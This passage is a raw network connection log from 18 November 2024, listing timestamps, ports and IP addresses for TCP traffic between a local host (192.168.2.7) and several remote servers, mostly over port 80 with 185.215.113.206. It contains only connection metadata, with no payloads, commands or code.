Nov 18, 2024 08:55:45.584912062 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.584965944 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.584965944 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.584970951 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.585251093 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.585259914 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.585310936 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.585316896 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.585346937 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.586141109 CET	443	49909	3.170.115.57	192.168.2.7
Nov 18, 2024 08:55:45.586297035 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.586327076 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.586349010 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.586354971 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.586391926 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.587475061 CET	49909	443	192.168.2.7	3.170.115.57
Nov 18, 2024 08:55:45.587501049 CET	443	49909	3.170.115.57	192.168.2.7
Nov 18, 2024 08:55:45.591216087 CET	443	49909	3.170.115.57	192.168.2.7
Nov 18, 2024 08:55:45.591295004 CET	49909	443	192.168.2.7	3.170.115.57
Nov 18, 2024 08:55:45.592365026 CET	49909	443	192.168.2.7	3.170.115.57
Nov 18, 2024 08:55:45.592542887 CET	49909	443	192.168.2.7	3.170.115.57
Nov 18, 2024 08:55:45.592544079 CET	443	49909	3.170.115.57	192.168.2.7
Nov 18, 2024 08:55:45.634423018 CET	49908	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.634685993 CET	49909	443	192.168.2.7	3.170.115.57
Nov 18, 2024 08:55:45.634713888 CET	443	49909	3.170.115.57	192.168.2.7
Nov 18, 2024 08:55:45.638124943 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638170958 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638184071 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638226032 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638231993 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.638264894 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.638283014 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638293982 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638299942 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.638304949 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638319016 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638329983 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.638348103 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638372898 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.638395071 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638396978 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.638406992 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638422012 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638432026 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638442993 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.638451099 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638462067 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638463974 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.638472080 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.638474941 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638506889 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.638528109 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.638838053 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638849020 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638859987 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638871908 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638881922 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638891935 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.638895035 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638904095 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.638922930 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638935089 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638936043 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.638947010 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638961077 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638968945 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.638971090 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638983011 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.638993025 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639005899 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639014959 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639025927 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639030933 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639045000 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639058113 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639060020 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639070988 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639082909 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639084101 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639094114 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639106035 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639117002 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639134884 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639134884 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639134884 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639139891 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639168024 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639178991 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639180899 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639184952 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639199972 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639205933 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639211893 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639221907 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639225960 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639233112 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639241934 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639246941 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639257908 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639266014 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639277935 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639283895 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639290094 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639301062 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639308929 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639322042 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639327049 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639344931 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639358044 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639367104 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639369011 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639384985 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639393091 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639403105 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639414072 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639431953 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639439106 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639439106 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639458895 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639461994 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639475107 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639476061 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639487028 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639497042 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639498949 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639509916 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639519930 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639533043 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639533043 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639533043 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639539003 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639550924 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639552116 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639564037 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639574051 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639581919 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639595032 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639605045 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639605999 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639617920 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639628887 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639635086 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639642000 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639652967 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639655113 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639664888 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639674902 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639687061 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639688969 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639703989 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639703989 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639719009 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639724016 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639729977 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639746904 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639746904 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639780045 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639781952 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639792919 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639802933 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639803886 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639815092 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639825106 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639828920 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639836073 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639847040 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639858007 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639861107 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639869928 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639880896 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639880896 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639894962 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.639895916 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639925003 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.639949083 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.640130043 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640175104 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640186071 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640192986 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.640213013 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.640249968 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.640279055 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640291929 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640302896 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640314102 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640325069 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640331030 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.640336037 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640348911 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640360117 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640379906 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.640405893 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.640502930 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640615940 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.640646935 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640657902 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640671015 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640681982 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640686989 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.640700102 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640702963 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.640712023 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640723944 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.640723944 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640734911 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640747070 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640753031 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.640758038 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640774012 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.640779018 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640789032 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640796900 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.640800953 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640813112 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640813112 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.640824080 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640866041 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.640877962 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640889883 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640899897 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640902996 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.640912056 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.640913010 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.640945911 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.640976906 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.641000986 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641012907 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641024113 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641035080 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641046047 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641052008 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.641057968 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641069889 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641079903 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641099930 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.641132116 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.641149998 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641164064 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641208887 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.641243935 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641256094 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641274929 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641285896 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641298056 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641307116 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.641308069 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641319990 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641334057 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.641347885 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.641390085 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.641665936 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641676903 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641690016 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641706944 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641714096 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.641719103 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641727924 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641736031 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.641767979 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.641829014 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641840935 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641850948 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641864061 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641869068 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.641875982 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641886950 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641891956 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.641897917 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641911983 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.641917944 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.641937971 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.641957998 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.641973972 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642020941 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642185926 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642199039 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642210007 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642220020 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642229080 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642246008 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642257929 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642267942 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642272949 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642272949 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642278910 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642291069 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642296076 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642302990 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642313004 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642329931 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642333984 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642345905 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642354012 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642357111 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642369032 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642380953 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642385006 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642393112 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642405987 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642411947 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642411947 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642420053 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642441034 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642452955 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642460108 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642472982 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642478943 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642483950 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642496109 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642505884 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642508984 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642520905 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642533064 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642537117 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642544985 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642555952 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642556906 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642568111 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642580032 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642599106 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642601013 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642611980 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642621994 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642625093 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642652035 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642682076 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642683029 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642730951 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642744064 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642769098 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642786980 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642798901 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642800093 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.642810106 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642827988 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.642841101 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.643066883 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.643187046 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.643189907 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.643202066 CET	80	49844	185.215.113.206	192.168.2.7
